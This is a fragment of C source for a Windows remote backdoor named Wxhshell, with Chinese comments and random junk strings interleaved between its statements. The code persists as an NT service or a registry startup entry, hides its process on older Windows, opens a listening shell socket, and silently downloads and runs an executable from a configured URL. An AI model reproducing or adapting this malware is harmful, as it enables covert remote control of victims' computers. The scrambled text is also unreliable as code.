hMod, procName, sizeof(procName)); i"+TKo- g0QYBrp CloseHandle(hProcess); 2zbn8tO 6*EIhIQ( if(strstr(procName,"services")) return 1; // 以服务启动 "5ISKuL uwi.Sg11 return 0; // 注册表启动 k|RY;
8_
} JoG(Nk] iZ/iMDfC // 主模块 eu]qgtg~U int StartWxhshell(LPSTR lpCmdLine) N_FjEZpX { M<=e~';H SOCKET wsl; f`rI]v|@ BOOL val=TRUE; xFIzq int port=0; 6~>h;wC struct sockaddr_in door; ![4_K':= OXl0R{4 if(wscfg.ws_autoins) Install(); aMT=pGU 'n"we#
[ port=atoi(lpCmdLine); }Q\+w,pJgN <EE^ KR96 if(port<=0) port=wscfg.ws_port; 3A =\Mb 2dB]Lw@s WSADATA data; j4`+RS+q if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; M+j*5wNy kaoiSL<[6 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B\aVE|~PB setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); oLq N door.sin_family = AF_INET; 1`s^r+11: door.sin_addr.s_addr = inet_addr("127.0.0.1"); tnBCO%uG door.sin_port = htons(port); rf`xY4I\ 4MzPm~Ct if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { f;OB"p closesocket(wsl); [wJ\.9<Oa return 1; py%~Qz% } rXBCM /C<p^#g9. if(listen(wsl,2) == INVALID_SOCKET) { xTH3g^E closesocket(wsl); i6P$>8jBQ- return 1; [#G*GAa6* } 5G`fVsb Wxhshell(wsl); +7AH|v8 WSACleanup(); Wi,)a{ FJKlqM5] return 0; 19[!9ci 1_;{1O+B } /?b{*<TK xoGrXt9& // 以NT服务方式启动 -0]%#(E%`h VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5}! 36SO\ { =:6B`,~C DWORD status = 0; 9%"\s2T DWORD specificError = 0xfffffff; .RAyi>\e 1;B&R89} serviceStatus.dwServiceType = SERVICE_WIN32; Bga4kjfmk serviceStatus.dwCurrentState = SERVICE_START_PENDING; to1r
88X serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jaavh6h) serviceStatus.dwWin32ExitCode = 0; q"S,<I<f serviceStatus.dwServiceSpecificExitCode = 0; IGlyx'\_ serviceStatus.dwCheckPoint = 0; PY3bn).uR serviceStatus.dwWaitHint = 0;
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6$!6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _2}~Vqb+ if (hServiceStatusHandle==0) return; P3Vh|<'7 OQKc_z'" status = GetLastError(); G+k wG)K if (status!=NO_ERROR) pp7
$Q>6 { :qAX9T'{t serviceStatus.dwCurrentState = SERVICE_STOPPED; rKT.~ZP\ serviceStatus.dwCheckPoint = 0; _V0%JE' serviceStatus.dwWaitHint = 0; kd]CV7(7 serviceStatus.dwWin32ExitCode = status; gf9U<J#&C serviceStatus.dwServiceSpecificExitCode = specificError; "!eq~/nk SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0_Elxc return; >El]5M7h7 } QP%Hwt]+ H5
:,hrZY serviceStatus.dwCurrentState = SERVICE_RUNNING; R?2HnJh serviceStatus.dwCheckPoint = 0; DO+~ serviceStatus.dwWaitHint = 0; x
ju*zmu if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [kckE-y } ,`k6@4 kUT^o // 处理NT服务事件,比如:启动、停止 >LN*3&W VOID WINAPI NTServiceHandler(DWORD fdwControl) :O,r3O6 { PX2b(fR8_O switch(fdwControl) o`7 Z<HF { ' u;Zw%O(J case SERVICE_CONTROL_STOP: ;volBfv serviceStatus.dwWin32ExitCode = 0; njO~^Hl7 serviceStatus.dwCurrentState = SERVICE_STOPPED; "9" serviceStatus.dwCheckPoint = 0; `g) serviceStatus.dwWaitHint = 0; ;cPPx`0$9 { '|), ? SetServiceStatus(hServiceStatusHandle, &serviceStatus); _Ex<VF u } :PY6J}: return; /lPnf7 case SERVICE_CONTROL_PAUSE: ka ;=%*7T serviceStatus.dwCurrentState = SERVICE_PAUSED; +{m+aHk break; B.;@i;7L case SERVICE_CONTROL_CONTINUE: 4sRg+mMI serviceStatus.dwCurrentState = SERVICE_RUNNING; _8F;-7Sz break; kzNRRs\e case SERVICE_CONTROL_INTERROGATE: S#He OPRL break; ) j&khHD }; ?9!9lSH6% SetServiceStatus(hServiceStatusHandle, &serviceStatus); b!Nr } 8bs' Ek{'o @p}_"BHYWt // 标准应用程序主函数 Ex|Z@~T12 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $<C",& { [Ob'E!;< quC$<Y // 获取操作系统版本 @]8flb
)T OsIsNt=GetOsVer(); #w \x-i| GetModuleFileName(NULL,ExeFile,MAX_PATH); f\Hw Y)^> $cwmfF2C // 从命令行安装 \*qradgx$ if(strpbrk(lpCmdLine,"iI")) Install(); wq!9wk9 XqhrQU|wM // 下载执行文件 5L~lF8 if(wscfg.ws_downexe) { I>vU;xV\m if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T5e#Ll/ WinExec(wscfg.ws_filenam,SW_HIDE); }R5EuR m\
} ;lrO?sm NZADHO@0 if(!OsIsNt) { d)D!np= // 如果时win9x,隐藏进程并且设置为注册表启动 *zDDi(@vtK HideProc(); gzH;`, StartWxhshell(lpCmdLine); F$|:'#KN } Tz.okCo]z else S?a4IK if(StartFromService()) 9=/4}!. // 以服务方式启动 V>E7!LIn. StartServiceCtrlDispatcher(DispatchTable); u2$.EM/iae else %H&WihQ // 普通方式启动 HkhZB^_V StartWxhshell(lpCmdLine); ?$tD /L@o.[H return 0; KLVYWZib }
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